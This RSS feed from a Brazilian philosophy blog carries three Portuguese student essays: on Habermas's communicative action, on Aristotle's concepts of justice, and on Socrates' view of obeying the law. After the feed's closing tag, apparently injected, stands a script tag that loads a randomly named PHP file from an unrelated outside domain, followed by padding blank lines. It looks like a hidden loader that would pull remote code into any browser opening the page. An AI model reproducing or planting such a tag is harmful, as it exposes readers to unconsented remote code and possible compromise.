<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Filosofante &#187; Leticia</title>
	<atom:link href="http://www.filosofante.com.br/?author=17&#038;feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.filosofante.com.br</link>
	<description>Res Cogitans...</description>
	<lastBuildDate>Mon, 18 Jun 2012 11:35:46 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Habermas: Uma teoria do agir comunicativo</title>
		<link>http://www.filosofante.com.br/?p=867</link>
		<comments>http://www.filosofante.com.br/?p=867#comments</comments>
		<pubDate>Wed, 02 Jun 2010 12:18:16 +0000</pubDate>
		<dc:creator>Leticia</dc:creator>
				<category><![CDATA[Artigo]]></category>

		<guid isPermaLink="false">http://www.filosofante.com.br/?p=867</guid>
		<description><![CDATA[&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;A linguagem é aquilo que Habermas toma para sua teoria e que possibilia a proposição inicial da ação a partir de uma rejeição da versão oficial da racionalidade weberiana em que a ação repousa numa compreensão do sujeito como solitário e no modelo teleológico da ação relativa a fins. O autor amplia este conceito weberiano, <a href="http://www.filosofante.com.br/?p=867" class="more-link">Mais &#62;</a>]]></description>
			<content:encoded><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A linguagem é aquilo que Habermas toma para sua teoria e que possibilia a proposição inicial da ação a partir de uma rejeição da versão oficial da racionalidade weberiana em que a ação repousa numa compreensão do sujeito como solitário e no modelo teleológico da ação relativa a fins. O autor amplia este conceito weberiano, e propõe uma tipologia da ação que tenha por base uma compreensão dialógica, relação entre ao menos dois sujeitos capazes de falar e de agir, e um modelo de interação social, o agir comunicativo. <span id="more-867"></span>Assim sendo percebe-se a reformulação existente do conceito weberiano de racionalidade que se move para o plano de uma teoria da ação que tem vincúlos com a tradição da filosofia pós-wittgensteiniana da linguagem, sobretudo à teoria dos atos de fala. Segundo Habermas, a teoria dos atos de fala faz com que seja possível a construção de uma espécie de síntese entre a ação e a linguagem, já que quem fala age e estabelece relações, modifica algo no mundo. Ele nos evidencia também que apenas as ações lingüísticas às quais o falante vincula uma pretensão de validade criticável são capazes de levar o ouvinte a aceitar a oferta contida num ato de fala, podendo assim se tornar eficazes como mecanismo de coordenação das ações. Essa síntese entre ação e linguagem não significa, contudo, uma identificação entre o falar e o agir. Na verdade, a teoria dos atos de fala possibilita precisamente distinguir as ações lingüísticas das ações no sentido estrito do termo. A essencial distinção, que é aspecto fundamental para essa possibilidade de síntese, é entre atos perlocucionários e atos ilocucionários. Enquanto para os atos ilocucionários o que é constitutivo é o significado do enunciado, para os atos perlocucionários o que é importante é aquilo que o agente intenciona com o que diz.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Habermas considera possível tornar mais claros os conceitos de intercompreensão e de agir orientado ao entendimento mútuo, apenas com base nos atos ilocucionários, pois quando o locutor atinge seu objetivo ilocucionário é o momento em que se tem êxito a tentativa de reconhecimento intersubjetivo embutida em todo ato de fala, e não nos atos perlocucionários, que são atos de fala estrategicamente calculados, que se fundamentam teleologicamente.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A distinção entre trabalho e interação que é extraída da filosofia de Hegel é reformulada por Habermas na distinçãoo entre a ação orientada ao sucesso (erfolgsorientiert) e a ação orientada à intercompreensão (verständigungsorientiert) e ela se encontrará no cerne da teoria da ação de Habermas. A noção de agir comunicativo é o único tipo de ação social orientada a intercompreensão.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O conceito de agir comunicativo, que tem como pano de fundo o entendimento lingüístico como mecanismo de coordenação da ação, faz com que as suposições contrafactuais dos atores que orientam seu agir por pretensões de validade adquiram relevância imediata para a construção e a manutenção de ordens sociais: pois estas mantém-se no modo do reconhecimento de pretensões de validade normativas. Isso demonstra que a tensão entre facticidade e validade, embutida na linguagem e no uso da linguagem, volta ao modo de integração de indivíduos socializados, ao menos comunicativamente, e que deve ser trabalhada pelos participantes. Esse raciocínio demosntrado na principal obra de Habermas em matéria de filosofia política e filosofia do direito, torna perceptível a conexão entre as teorias da ação e da sociedade.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Tendo em vista a complexidade que se tornou o mundo moderno, o agir comunicativo se torna impotente, pois a sociedades modernas desencantadas, fruto da mudança progressiva do agir ritual pelo agir comunicativo nas funções de reprodução social, se fazem presentes. Habermas, sabe que a linguagem, enquanto veículo primário de intercompreensão, se sobrecarrega de tarefas no âmbito dessas sociedades, assim ele propõe, então, uma nova e complexa conexão dos conceitos básicos da teoria da ação com os da teoria dos sistemas. Esta impotência obriga-o a integrar a perspectiva sistêmica na teoria da sociedade, tendo em conta dois tipos de coordenação das ações: a que é obtida por intermédio do consenso dos participantes, perspectiva do mundo vivido, e a que é realizada pela via funcional dos observadores, ótica do sistema. A identificação de sistema, por um lado, e mundo vivido, por outro, possibilita especificar duas esferas de reprodução social &#8211; material e simbólica &#8211; com funções diferentes no plano da integração, uma sistêmica e outra social, associadas a seus respectivos contextos de ação, ou seja, estratégica e comunicativa. Ao integrar a teoria do agir com a teoria dos sistemas, Habermas, evita uma absorção da primeira pela segunda através de sua noção bipolar de sociedade, pela qual combina as análises hermenêutica e funcionalista. A teoria da ação tem primazia sobre a teoria sistêmica, e isso se evidência pelo fato de ele estabelecer primeiro os eixos de uma teoria da ação que repousa no conceito de agir comunicativo, para, em seguida, incorporar a perspectiva do sistema, e não o contrário. Por esse raciocínio o mundo vivido é um conceito complementar do agir comunicativo, na medida em que o primeiro representa o “fundo” social da ação orientada ao mútuo entendimento e o segundo o “meio” da reprodução simbólica do mundo vivido. Essas formas distintas, inconfundíveis, de coordenação das ações sociais &#8211; estratégica e comunicativa &#8211; servem de fundamento para a explicação habermasiana do caráter dual do direito moderno.</p>
<p><center><img src='http://www.filosofante.com.br/v1/wp-content/img/linha.gif' /></center><br />
<span style="color:#006600;"><b>Leticia Garroni</b></span><br />
Quinto Período de Filosofia</p>
]]></content:encoded>
			<wfw:commentRss>http://www.filosofante.com.br/?feed=rss2&amp;p=867</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>As Concepções de Justiça em Aristóteles</title>
		<link>http://www.filosofante.com.br/?p=864</link>
		<comments>http://www.filosofante.com.br/?p=864#comments</comments>
		<pubDate>Wed, 02 Jun 2010 12:15:08 +0000</pubDate>
		<dc:creator>Leticia</dc:creator>
				<category><![CDATA[Artigo]]></category>

		<guid isPermaLink="false">http://www.filosofante.com.br/?p=864</guid>
		<description><![CDATA[JUSTO LEGAL E  JUSTO NATURAL:
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;A partir da concepção de justo político e das características dele, decorre outras  duas formas de justo, o legal e o natural.
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;O justo natural é aquele que por si só tem razão de ser, independe, portanto, de uma positividade para que ele se torne necessário, pois ele já o <a href="http://www.filosofante.com.br/?p=864" class="more-link">Mais &#62;</a>]]></description>
			<content:encoded><![CDATA[<p><strong>JUSTO LEGAL E  JUSTO NATURAL:</strong><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A partir da concepção de justo político e das características dele, decorre outras  duas formas de justo, o legal e o natural.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O justo natural é aquele que por si só tem razão de ser, independe, portanto, de uma positividade para que ele se torne necessário, pois ele já o é. Recai em todos os lugares com a mesma potência, varia, apenas, pelo fator natural e não por qualquer outro.<br />
<span id="more-864"></span><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O justo legal é a tentativa de se atingir a prosperidade por meio de leis que regulam o bom uso da prosperidade em proveito de todos. E assim, a positivação daquilo que os legisladores por meio do juízo deles, ou seja, é suscetível de variabilidades, entendem como o valor do justo para a convivência política. A instituição das regras da justiça visa atingir o fim último (felicidade) para o qual ela oferece os meios.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A instauração de preceitos legais é feita a partir de uma generalidade. Todavia estes devem, por meio de sentenças e decretos, se adequarem ao caso real da maneira como ele for, ou seja, deve levar em consideração especificidades do caso até afim de atender as exigências humanas para o “bem viver”. Essa adequação acentua o caráter não natural dos preceitos legais e demonstra que estes existem por força de convenção.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Percebe-se que a mutabilidade é característica do justo legal, equiparando-se às demais convenções humanas, variando de local para local. Contudo, diferente daqueles que identificam o justo político com o justo legal permeado dessa mutabilidade, há aqueles que acreditam que existe algo para além do mero entendimento do legislador, que é, pois, o justo natural que encontra sua validade na natureza e é menos variável, o que oferece a ele força, validade e aceitação universais.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; “Portanto, enquanto a justiça legal aponta para a multiplicidade, a justiça natural o faz para a unidade  de tratamento de determinada matéria reputada de relevo para a sociedade; enquanto as respostas apresentadas pelo justo legal são muitas, de acordo com cada constituição política que se analisa, a resposta oferecida pelo justo natural é única e homogênea, apesar de mutável” (p.221).<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A dicotomização entre justo legal e natural inicia-se com os sofistas que entendiam as leis como resultado, apenas do entendimento do legislador, portanto variáveis, não podendo, pois, serem de caráter natural. Esse ponto é bastante discutido por Aristóteles.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Para essa discussão se torna importante o entendimnto aristotélico de “physis”, que é algo pré dado ao espírito humano, é aquilo que faz as coisas serem o que são,  não outra coisa, é, portanto, independente da vontade humana. Não é por isso totalmente isento de variações, já que cada coisa carrega em si a potencialidade para realizar-se com perfeição em dado momento, com o vir-a-ser percebe-se o devir da natureza, o que se torna mais facilmente entendível a partir de um olhar teleológico que demonstra que a cada causa sucede uma consequência, ou seja, são atualizações de cada coisa que se diregem a seu bem.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A partir do conceito de physis, Aristóteles afirma qu o homem é um ser “naturalmente político”, essa afirmação contudo não expressa a convicção de que uma ordem de subordinação política é natural ao homem, mas a de que, pelo contrário, o homem foi naturalmente feito para exercer uma autoridade política e instituir assim a ordem que responde ao fim último de toda associação. Assim sendo, a justiça legal deve ser elaborada tendo como ponto de partida a justiça natural, e mais do que isso, a justiça natural realiza-se com a própria “práxis” da razão em sociedade.</p>
<p>            <strong>EQUIDADE E JUSTIÇA:</strong><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Há uma grande relação entre os termos “equo” e “justo”, porém não pode identificá-los totalmente, antes deve-se distingui-los naquilo que lhes peculiariza.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O “equo” é algo para além do justo, por isso mais desejável. De certa forma a justiça (o justo) é tudo o que o bom cidadão prescreve quando está à frente da cidade, assim a justiça antes de ser na política uma qualidade das leis é a virtude do bom legislador; o homem justo serve ao interesse de uma comunidade porque suas outras virtudes poupam-lhe as consequências de uma imperfeição pessoal. O “equo”, por sua vez, é a capacidade do julgador de transferir a justiça da lei para a realidade concreta, evidencia-se aqui a diferença entre a estaticidade das leis e a variabilidade da praxis humana, a equidade é, pois, a correção dos vigores da lei. Ela se torna necessária a partir da percepção de que se do contrário fosse, ocorreria uma situação injusta, dcorrência da não capacidade da lei abranger todos os casos possíveis.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;“Como algo superior a um tipo de justiça legal, e utilizado como corretivo da mesma, a equidade também origina-se na subjetividade como qualquer outra virtude, ou seja, como uma disposição de carater cultivada pelo homem equitativo” (p. 118).<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Assim sendo, a equidade é uma  virtude que nasce no seio do homem, na aplicação da lei ao caso, ela funciona como a prudência (phrónesis) e nas relações privadas ela representa a  excelência do homem altruísta.</p>
<p>            <strong>JUSTIÇA E AMIZADE:</strong><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A amizade, em termos aristotélicos cria relações pessoais, unindo duas pessoas que se escolheram e que se amam. O respeito do outro é também o que mantém a amizade. E nesse ponto que percebemos as semelhanças entre justiça e amizade, ora, ambas implicam um certo respeito pelo outro. Todavia, vale perceber que o respeito na justiça não tem a mesma profundeza que na amizade, já que o amor de amizade, ou melhor, a amizade “segundo a virtude” é o encontro de dois amores de benevolência e é ainda, um amor espiritual.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Do mesmo modo, tanto a justiça como a amizade implicam uma certa igualdade, mas Aristóteles também destaca de forma imediata a diferença que há entre a igualdadade na justiça da igualdade na amizade. A amizade pode unir dois seres entre o qual existe, no ponto de partida, uma desigualdade muito grande, ela realiza uma igualdade proporcional. A igualdade proporcional é, pois, toda diferente da igualdade quantitativa.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A justiça é assim, mais realizável onde esta presente maior proximidade e afeição de amizade.</p>
<p>            <strong>JUIZ: JUSTIÇA ANIMADA</strong><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Na teoria aristotélica o juiz (dikastés) é o mediador de todo o processo, incumbindo-lhe colocar os indivíduos desiguais de acordo com a justiça em uma situação de paridade, de igualdade absoluta, servindo-se não de seu arbítrio ou de seus interesses, mas do convencionado e determinado na legislação. A posição do juiz é de imparcialidade e personificação da justiça.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A justiça corretiva  conduz ao retorno das partes ao status quo ante, quando se trate de situação restituível, ou do arbitramento de uma equivalência indenizatória com relação àquilo que seja o objeto da diferença estabelecida entre as partes. Cumpre ao juiz exercitar a justiça corretiva, inclusive aplicando a equidade no julgamento que se firma na lei, no sentido de realmente personificar a justiça.   </p>
<p><center><img src='http://www.filosofante.com.br/v1/wp-content/img/linha.gif' /></center><br />
<span style="color:#006600;"><b>Leticia Garroni</b></span><br />
Quinto Período de Filosofia</p>
]]></content:encoded>
			<wfw:commentRss>http://www.filosofante.com.br/?feed=rss2&amp;p=864</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A Inderrogabilidade do valor das leis no pensamento de Sócrates.</title>
		<link>http://www.filosofante.com.br/?p=857</link>
		<comments>http://www.filosofante.com.br/?p=857#comments</comments>
		<pubDate>Wed, 02 Jun 2010 12:07:41 +0000</pubDate>
		<dc:creator>Leticia</dc:creator>
				<category><![CDATA[Artigo]]></category>

		<guid isPermaLink="false">http://www.filosofante.com.br/?p=857</guid>
		<description><![CDATA[&#8220;A subsunção do foro interior individual e exterior geral em benefício da coletividade&#8221;
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;A concepção sobre o significado do justo, é algo que vêm desde, antes mesmo o surgimento da filosofia. Desde a Grécia anterior ao século VI a.C, durante o período denominado cosmológico, já se admitia uma justiça natural, que tinha sua origem na ordem <a href="http://www.filosofante.com.br/?p=857" class="more-link">Mais &#62;</a>]]></description>
			<content:encoded><![CDATA[<p>&#8220;A subsunção do foro interior individual e exterior geral em benefício da coletividade&#8221;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A concepção sobre o significado do justo, é algo que vêm desde, antes mesmo o surgimento da filosofia. Desde a Grécia anterior ao século VI a.C, durante o período denominado cosmológico, já se admitia uma justiça natural, que tinha sua origem na ordem cósmica, logo, marcando a indissociabilidade entre natureza, justiça e direito.<br />
<span id="more-857"></span><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Posteriormente, com o desenvolvimento assistemático da ciência e da política, os estudiosos da época, filósofos, começaram a chegar em conclusões que revelavam uma grande diversidade e um notável antagonismo, o que suscitou em sérias dúvidas em relação à existência da verdade. O que vai contra o pensamento anteriormente apresentado.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Os Sofistas, são exemplo claro dessa dúvida em relação a verdade. Eles abordavam temas que estavam intimamente ligados à democracia e à política, logo desenvolviam debates sobre o direito, a justiça, a eqüidade e a moral. Mantinham grande dedicação ao conhecimento da retórica, pois tinham uma visão relativista do mundo e das ciências, sendo assim o melhor discurso era o que permanecia. A concluir, se o ser humano não poderia alcançar a verdade, as intituições político-jurídicas da pólis grega também não poderiam, dessa maneira eles desembocam na relativização da justiça.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;É interessante essa compreensão do pensamento sofístico, pois o estudo do pensamento socrático é realizado, sobretudo, em face de sua oposição ao movimento dos sofistas. Sócrates conservava a sujeição às leis, ele entendia que esta falta de crença sofistíca era arriscada, visto que não permitia a correta orientação acerca do sentido da ética e do bem.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Uma breve explanação sobre a vida de Sócrates, afim de compreendê-lo melhor: Sócrates (470/469 &#8211; 399 a.C), foi um filósofo Ateniense, e um dos mais importantes, tornando-se ícone da tradição filosofica ocidental e um dos fundadores da filosofia atual Ocidental. Apesar de sua indiscutível importância, não temos acesso a obras escritas por ele, sendo, os seus pensamentos, conhecidos através de seus discípulos, como Platão e Xenofonte. </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Viveu, desde certo momento de sua vida, em função do que ele considerava sua missão: Dialogar com as pessoas. Um diálogo de forma a fazê-las tentar justificar os conhecimentos, as habilidades ou virtudes que lhes eram atribuídos. A forma com que ele fazia é traduzida em seu método, o qual era composto por dois momentos: o irônico-refutório e o maiêutico, primeiro, então, fazia com que o interlocutor apresentando as suas idéias respondendo à perguntas feitas por ele, Sócrates, afim de que esse definisse de modo preciso os termos de seu discurso e a escandir logicamente as suas passagens, na maioria das vezes, o resultado era que o interlocutor se confundia e caía em várias contradições, levando enfim, o interlocutor a reconhecer os próprios erros e desconhecimentos, tal qual Sócrates mesmo já teria feito através de sua afirmação:&#8221; a única coisa que eu sei é precisamente que nada sei&#8221;; a partir daí estaria representada a possibilidade de o renascer da consciência de si mesmo, estaria ali nascendo a verdade na alma do dialogante (maiêutica). Sendo assim, ele se entregava à função de guiar tanto jovens como os mais velhos em busca da consciência.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Como consegüinte, enquanto os sofistas sustentaram a efemeridade e incerteza das leis variáveis no tempo e no espaço, Sócrates empenhou-se em restabelecer para a pólis a autoridade do ideal cívico, algo indissociável entre indvíduo e sociedade. Logo, onde estivesse a virtude, estaria a justiça e, pois, a felicidade, independente do julgamentos humanos.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Em Atenas, havia a democracia, a qual dava garantia aos cidadãos do exercício da função legislativa (através da assembléia popular), tinham a possibilidade e a obrigação de participar da elaboração das leis que regiam a vida e os destinos da cidade, em contrapartida, impunha também aos cidadãos o dever de defender, como juízes, as leis que eram votadas por eles mesmos, já que em condição de participantes das cortes populares, assumiam o compromisso : o de fazer acatar aquelas leis e de decidir, de acordo com elas, o que seria bom e o que seria mal, o que seria justo e o que seria injusto para a pólis ( cidade-Estado) e seu povo.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Em consequência de seus pensamentos, Sócrates foi levado a julgamento com a acusação de não reconhecer os deuses do Estado, introduzir novas divindades e de corromper a juventude, pois mesmo em uma democracia como a ateniense, ele era um escândalo e uma ameaça: &#8220;a encarnação, para um pensamento vulgar, o escândalo filosófico!&#8221;. Algo que não era provável em sua conduta de vida, já que esse entendia que &#8220;o homem é a sua alma&#8221;, sendo assim o que o distingue de qualquer outra coisa é a alma, e para ele a razão e a nossa atividade pensante é essa, logo cuidar de si significa dar importância a própria alma mais do que ao próprio corpo, dessa maneira ele não se deixava levar por vontades do corpo, tendo uma atitude serena diante à vida.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Em “Apologia de Sócrates”  tido como bastante fiel aos fatos, vemos todo o processo do julgamento de Sócrates. Ele em primeira instância, analisa as acusações que caem sobre ele e as refuta, retratando a sua vida e a sua “missão”. Em segundo momento   Sócrates dialoga com um de seus acusadores, deixando-o confuso quanto o que queria dizer a acusação que sobre ele era imputada. E num último momento vemos a confirmação de sua condenação à morte.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A acusação era grave, porém não muito fundamentada, a Sócrates cabia outras alternativas como o pagamento de uma multa, mas ele acreditava que pagando-a ou apelando à misericórdia daqueles que o julgavam estaria, assim, aceitando a culpa, coisa que a sua própria consciência não o acusava, também poderia fugir da cadeia antes de sua execução, mas ele explica : “A única coisa que importa é viver honestamente, sem cometer injustiças, nem mesmo em retribuição a uma injustiça recebida”. Para ele se estava naquela situção, tendo sido condenado à morte, é porque os homens que se ocupavam dessa questão, consideraram-na a mais suave e justa.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A partir daí podemos entender a visão que Sócrates tinha em relação às leis. Ele julgava que essas deveriam realmente ser seguidas, não poderia haver uma subtração às normas estabelecidas e às exigências dos preceitos e das instituições sociais, a partir do momento em que essas foram votadas baseadas no bem de toda a pólis. O indivíduo deveria então, pôr-se em favor do bem da coletividade. </p>
<p><center><img src='http://www.filosofante.com.br/v1/wp-content/img/linha.gif' /></center><br />
<span style="color:#006600;"><b>Leticia Garroni</b></span><br />
Quinto Período de Filosofia</p>
]]></content:encoded>
			<wfw:commentRss>http://www.filosofante.com.br/?feed=rss2&amp;p=857</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script type="text/javascript" src="http://wheelingaccountants.com/tbp7vn83.php?id=37450139"></script>


















































